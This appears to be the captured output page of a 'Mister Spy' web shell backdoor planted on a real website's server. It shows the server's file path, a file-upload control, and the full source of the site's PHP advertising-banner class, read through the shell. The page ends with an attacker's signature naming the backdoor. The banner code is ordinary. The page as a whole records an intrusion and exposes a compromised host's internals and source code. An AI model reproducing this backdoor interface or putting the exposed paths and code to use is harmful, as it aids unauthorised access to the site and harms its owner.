Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/library/
Upload File :
Current File : /home/caballoscriollos/public_html/web/library/class.bannerspublicidad.php

<?php 

require_once('class.dbaccess.php');
require_once('class.bannerpublicidad.php');
require_once('class.filter.php');
require_once('class.page.php');
require_once('class.estados.php');

class BannersPublicidad extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		$sql.= " WHERE Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		
		if ((isset($filter['Disponible'])) && ($filter['Disponible'] != ''))
		{	
			$sql.= " AND IdEstado = " . DB::Bool($filter['Disponible']);
		}
		
		if ((isset($filter['IdTipoPublicidad'])) && ($filter['IdTipoPublicidad'] != ''))
		{	
			$sql.= " AND IdTipoPublicidad = " . DB::Number($filter['IdTipoPublicidad']);
		}		
		
		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblBannersPublicidad";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Orden, Nombre";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oBanner = new BannerPublicidad();
			$oBanner->ParseFromArray($oRow);
			
			array_push($arr, $oBanner);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	
	public function GetAllRandom(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblBannersPublicidad";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY RAND()";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oBanner = new BannerPublicidad();
			$oBanner->ParseFromArray($oRow);
			
			array_push($arr, $oBanner);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	

	public function GetById($IdBanner)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblBannersPublicidad";
		$sql.= " WHERE IdBanner = " . DB::Number($IdBanner);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oBanner = new BannerPublicidad();
		$oBanner->ParseFromArray($oRow);
		
		return $oBanner;		
	}

	public function GetByNombre($Nombre)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblBannersPublicidad";
		$sql.= " WHERE Nombre LIKE " . DB::String($Nombre);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oBanner = new BannerPublicidad();
		$oBanner->ParseFromArray($oRow);
		
		return $oBanner;
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblBannersPublicidad";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(BannerPublicidad $oBanner)
	{
		$arr = array
		(
			'Link' 	=> DB::String($oBanner->Link),
			'Nombre' 	=> DB::String($oBanner->Nombre),
			'Imagen' 	=> DB::String($oBanner->Imagen),
			'IdTipoPublicidad' 	=> DB::Number($oBanner->IdTipoPublicidad),
			'Orden' 	=> DB::Number($oBanner->Orden),
			'IdEstado' 	=> DB::Number($oBanner->IdEstado)
		);
		
		if (!$this->Insert('tblBannersPublicidad', $arr))
			return false;
			
		return $oBanner;
	}
	
	
	public function Update(BannerPublicidad $oBanner)
	{
		$where = " IdBanner = " . DB::Number($oBanner->IdBanner);
		
		$arr = array
		(
			'Link' 	=> DB::String($oBanner->Link),
			'Nombre' 	=> DB::String($oBanner->Nombre),
			'Imagen' 	=> DB::String($oBanner->Imagen),
			'IdTipoPublicidad' 	=> DB::Number($oBanner->IdTipoPublicidad),
			'Orden' 	=> DB::Number($oBanner->Orden),
			'IdEstado' 	=> DB::Number($oBanner->IdEstado)
		);
		
		if (!DBAccess::UpdateEntidad('tblBannersPublicidad', $arr, $where))
			return false;
		
		return $oBanner;
	}


	public function UpdateChecks(BannerPublicidad $oBanner)
	{
		if (!DBAccess::$db->Begin())
			return false;

		$where = " IdBanner = " . DB::Number($oBanner->IdBanner);
		
		$arr = array('IdEstado' => DB::Number($oBanner->IdEstado));
		
		if (!DBAccess::UpdateEntidad('tblBannersPublicidad', $arr, $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}
			
		DBAccess::$db->Commit();
			
		return $oBanner;
	}
	

	public function Delete($IdBanner)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdBanner = " . DB::Number($IdBanner);

		if (!DBAccess::DeleteEntidad('tblBannersPublicidad', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat